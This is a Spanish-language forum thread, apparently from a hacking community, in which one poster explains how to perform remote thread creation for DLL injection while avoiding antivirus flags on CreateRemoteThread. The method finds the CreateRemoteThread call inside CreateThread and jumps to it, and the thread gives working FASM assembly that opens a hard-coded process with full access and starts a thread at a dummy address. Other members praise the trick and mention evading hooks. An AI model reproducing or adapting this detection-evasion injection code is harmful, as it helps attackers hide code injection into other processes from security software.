inyeccion dll "sin" CreateRemoteThread.

(1/2) > >>

bizco:
El ejemplo no injectara ninguna dll, simplemente el proceso victima intentara ejecutar una direccion invalida y se cerrara, el que quiera meter una dll que haga el las modificaciones a su gusto.

Siempre esta el problema de querer usar CreateRemoteThread en una aplicacion (no malware precisamente) y los antivirus suelen marcar ya el programa como peligroso. ahora bien, CreateThread no es detectado como algo peligroso, pero ¿quien es realmente CreateThread?. Esta funcion es un wrapper, alias o como quieras llamarlo de CreateRemoteThread, aceptando 1 parametro menos ya que si se desensambla la funcion se ve claramente que dentro de esta marca el handle del proceso a -1, o lo que es lo mismo a el proceso que a llamado a la funcion. La cosa es simple, necesitamos un puntero a CreateThread y buscar el call a CreateRemoteThread dentro de la funcion, meter los parametros de la funcion en la pila y hacer un jmp a dicho call. de este modo se a injectado la dll "sin" tener que usar la maldita funcion.

El codigo es una chorrada, es expresamente para poner un ejemplo de la idea en codigo. a la hora de usarlo en una aplicacion real se tienen que tener algunas cosas en cuenta.

Código:

format PE GUI 4.0

entry Main

include 'win32a.inc'

section '.data' data readable writeable

cPtr    dd 0

section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
        user32,'USER32.DLL'

include 'api\kernel32.inc'
include 'api\user32.inc'

section '.text' code  readable writeable executable

Main:
     push 0
     push 0
     push 0
     push InjectaDll
     push 0
     push 0
     call [CreateThread]
     push 6h            ;Esto es solo para la prueba.
     call [Sleep]
     push 0
     call [ExitProcess]


proc InjectaDll
     push edi
     mov eax,0E8h
     mov edi,dword [CreateThread]
S:
     repne scasb
     jnz S
     dec edi
     mov [cPtr],edi
     pop edi
     push 3532      ;Process Id
     push 1
     push PROCESS_ALL_ACCESS
     call [OpenProcess]
     or eax,eax
     jz Fin
     push 0
     push 0
     push 0
     push 41414141h
     push 0
     push 0
     push eax
     jmp [cPtr]  ;CreateRemoteThread
Fin:
     ; En caso de error
endp


Karcrack:
Muy ingenioso :D ;)

[Zero]:
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos

[L]ord [R]NA:
Cita de: Hacker_Zero en 15 Mayo 2010, 15:17 pm

Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos


:xD esto no se parece en nada al metodo que vas a utilizar.

Karcrack:
Cita de: Lord R.N.A. en 15 Mayo 2010, 16:53 pm

:xD esto no se parece en nada al metodo que vas a utilizar.

Por lo visto sabes demasiado.... Tu también participas o que? :xD

Navegación

[0] Índice de Mensajes

[#] Página Siguiente